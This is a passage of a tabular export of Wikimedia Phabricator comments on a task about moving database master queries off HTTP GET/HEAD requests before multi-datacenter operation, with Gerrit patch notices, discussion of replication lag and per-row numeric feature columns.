+",,,1440627778,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+515346,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234158 had a related patch set uploaded (by Aaron Schulz):
+Defer ""remember"" preference updates
+
+[[https://gerrit.wikimedia.org/r/234158]]
+",,,1440625695,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+510638,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 205528 had a related patch set uploaded (by Aaron Schulz):
+Made CentralAuthUser::loadState() generally use DB slaves
+
+[[https://gerrit.wikimedia.org/r/205528]]
+",,,1439949808,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+482299,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"* https://gerrit.wikimedia.org/r/220950 (branch master): #mw1.26, #mw1.26wmf12
+",,,1435302023,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+482287,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 220950 merged by jenkins-bot:
+Made User::loadFromId() use READ_NORMAL by default
+
+[[https://gerrit.wikimedia.org/r/220950]]",,,1435299685,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+481948,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 220950 had a related patch set uploaded (by Aaron Schulz):
+Made User::loadFromId() use READ_NORMAL by default
+
+[[https://gerrit.wikimedia.org/r/220950]]
+",,,1435262626,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+476091,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"* https://gerrit.wikimedia.org/r/200325 (branch master): #mw1.26, #mw1.26wmf10
+",,,1434502862,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+475961,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200325 merged by jenkins-bot:
+Made User generally use DB_SLAVE by default
+
+[[https://gerrit.wikimedia.org/r/200325]]",,,1434489465,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+474884,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 218099 merged by jenkins-bot:
+Replace prior fix for view-time master manipulation in transcodes
+
+[[https://gerrit.wikimedia.org/r/218099]]",,,1434391725,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+474187,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 218099 had a related patch set uploaded (by Brion VIBBER):
+Replace prior fix for view-time master manipulation in transcodes
+
+[[https://gerrit.wikimedia.org/r/218099]]
+",,,1434228292,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+462563,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 211999 merged by jenkins-bot:
+Moved ActiveUsers updates to recent changes jobs
+
+[[https://gerrit.wikimedia.org/r/211999]]",,,1432390158,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+460813,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 211999 had a related patch set uploaded (by Gilles):
+Moved ActiveUsers updates to recent changes jobs
+
+[[https://gerrit.wikimedia.org/r/211999]]
+",,,1432048579,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+447902,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202929 merged by jenkins-bot:
+Moved ActiveUsers updates to recent changes jobs
+
+[[https://gerrit.wikimedia.org/r/202929]]",,,1429733967,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+446535,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 203208 merged by jenkins-bot:
+Removed DB updates in updateJobQueue
+
+[[https://gerrit.wikimedia.org/r/203208]]",,,1429557557,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-11,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+444696,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200325 had a related patch set uploaded (by Aaron Schulz):
+[WIP] Made User generally use DB_SLAVE by default
+
+[[https://gerrit.wikimedia.org/r/200325]]
+",,,1429202558,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+443889,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 203486 merged by jenkins-bot:
+Avoid doing DB link updates on page view
+
+[[https://gerrit.wikimedia.org/r/203486]]",,,1429059035,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+443215,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 203432 merged by jenkins-bot:
+Avoid constant master ipblocks queries on page views
+
+[[https://gerrit.wikimedia.org/r/203432]]",,,1428966253,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+442263,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 203486 had a related patch set uploaded (by Aaron Schulz):
+Avoid doing DB link updates on page view
+
+[[https://gerrit.wikimedia.org/r/203486]]
+",,,1428707652,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+442143,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 203432 had a related patch set uploaded (by Aaron Schulz):
+Avoid constant master ipblocks queries on page views
+
+[[https://gerrit.wikimedia.org/r/203432]]
+",,,1428695377,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441408,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 203208 had a related patch set uploaded (by Aaron Schulz):
+Removed DB updates in updateJobQueue
+
+[[https://gerrit.wikimedia.org/r/203208]]
+",,,1428608467,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440630,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202929 had a related patch set uploaded (by Aaron Schulz):
+Moved ActiveUsers updates to recent changes jobs
+
+[[https://gerrit.wikimedia.org/r/202929]]
+",,,1428531126,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440028,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,">>! In T92357#1185010, @Gilles wrote:
+> Not to mention, master reads are taxing on performance across the board. And with DC stickiness after making a change, you'll be hitting a local slave after modifying something like your watchlist, which means the likelihood of seeing stale data will be very small. @aaron do we have stats about what the replication delay is like currently?
+
+https://tendril.wikimedia.org/host/view/db1072.eqiad.wmnet/3306 (and the other slaves have links to the graphs from https://dbtree.wikimedia.org/ ). The seconds_mehind_master graph measures log event application lag. The other factor to lag is log relaying (basically the network speed, so ~35ms for dallas <=> eqiad ).",,,1428448585,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,0,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+439494,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202272 merged by jenkins-bot:
+Avoid calling purgeExpiredConfigurations() on page views
+
+[[https://gerrit.wikimedia.org/r/202272]]",,,1428399000,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+439493,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202282 merged by jenkins-bot:
+Made replaceSectionContent try to use DB_SLAVE
+
+[[https://gerrit.wikimedia.org/r/202282]]",,,1428398996,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+439487,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Not to mention, master reads are taxing on performance across the board. And with DC stickiness after making a change, you'll be hitting a local slave after modifying something like your watchlist, which means the likelihood of seeing stale data will be very small. @aaron do we have stats about what the replication delay is like currently?",,,1428398009,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0
+439476,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202257 merged by jenkins-bot:
+Avoid master queries on SpecialBlockList
+
+[[https://gerrit.wikimedia.org/r/202257]]",,,1428396831,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+439475,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"These all have the same goal:
+
+1) Avoid significant degradation in performance for request handled in Dallas when it's handling traffic. Doing master queries from Dallas <=> Ahsburn is 3*35ms (connect,begin,commit) + 35ms per query. That's about the entire page load time of a high performance website for just one query.
+
+Most of them also have another advantage:
+2) Avoid pointlessly broad outages due to the master being down (crash, disk problems, maintenance, whatever).
+
+These changes are just one part of the multi-DC changes (which has an RfC on mw.org).",,,1428396749,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,1
+439468,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"I'm concerned by the lack of rationale in the recently merged patches. Watchlist and action=edit are not two features we can afford to degrade. See questions at https://gerrit.wikimedia.org/r/#/c/202252/1 and https://gerrit.wikimedia.org/r/#/c/202275/1
+
+Given WMF spends tens of millions on editor engagement, at some point it's wiser to spend a bit on mightier database servers, than to ""optimise"" software with unknown costs on our sites. I know you know, just reminding the obvious.",,,1428395622,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,0
+439465,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202275 merged by jenkins-bot:
+Avoid DB_MASTER in replaceSectionAtRev()
+
+[[https://gerrit.wikimedia.org/r/202275]]",,,1428394679,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+439453,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202268 merged by jenkins-bot:
+Use DB_SLAVE in a few places
+
+[[https://gerrit.wikimedia.org/r/202268]]",,,1428393606,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+439452,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202252 merged by jenkins-bot:
+Made getWatchlistInfo use DB_SLAVE
+
+[[https://gerrit.wikimedia.org/r/202252]]",,,1428393604,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+439301,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202282 had a related patch set uploaded (by Aaron Schulz):
+Made replaceSectionContent try to use DB_SLAVE
+
+[[https://gerrit.wikimedia.org/r/202282]]
+",,,1428362551,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+439295,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202275 had a related patch set uploaded (by Aaron Schulz):
+Avoid DB_MASTER in replaceSectionAtRev()
+
+[[https://gerrit.wikimedia.org/r/202275]]
+",,,1428361640,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+439294,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202272 had a related patch set uploaded (by Aaron Schulz):
+Avoid calling purgeExpiredConfigurations() on page views
+
+[[https://gerrit.wikimedia.org/r/202272]]
+",,,1428361260,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+439289,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202268 had a related patch set uploaded (by Aaron Schulz):
+Use DB_SLAVE in a few places
+
+[[https://gerrit.wikimedia.org/r/202268]]
+",,,1428360878,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+439265,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202257 had a related patch set uploaded (by Aaron Schulz):
+Avoid master queries on SpecialBlockList
+
+[[https://gerrit.wikimedia.org/r/202257]]
+",,,1428358817,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+439242,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202252 had a related patch set uploaded (by Aaron Schulz):
+Made getWatchlistInfo use DB_SLAVE
+
+[[https://gerrit.wikimedia.org/r/202252]]
+",,,1428357102,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+439115,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,">>! In T92357#1182547, @Gilles wrote:
+> It's deployed and it's all GETs. I have the feeling that this was already accounted for elsewhere in the code :) Oh, well...
+
+https://phabricator.wikimedia.org/diffusion/MW/browse/master/includes/MediaWiki.php;eb74ccdcee8e26710ac25f0afdd2373e86679f89$485-494
+
+>>! In T92357#1181632, @Gilles wrote:
+> Looking at the biggest one, ""Revision.php line 128 calls wfGetDB()"", it's coming from Captcha.php in the ConfirmEdit extension.
+
+>>! In T92357#1181635, @Gilles wrote:
+> Actually, it's doing the right thing because it only fetches from master on POST. Rather than investigate each of these and finding out after digging through a bunch of code that it's actually fine, I think dbperformance.log needs to record the request type.
+
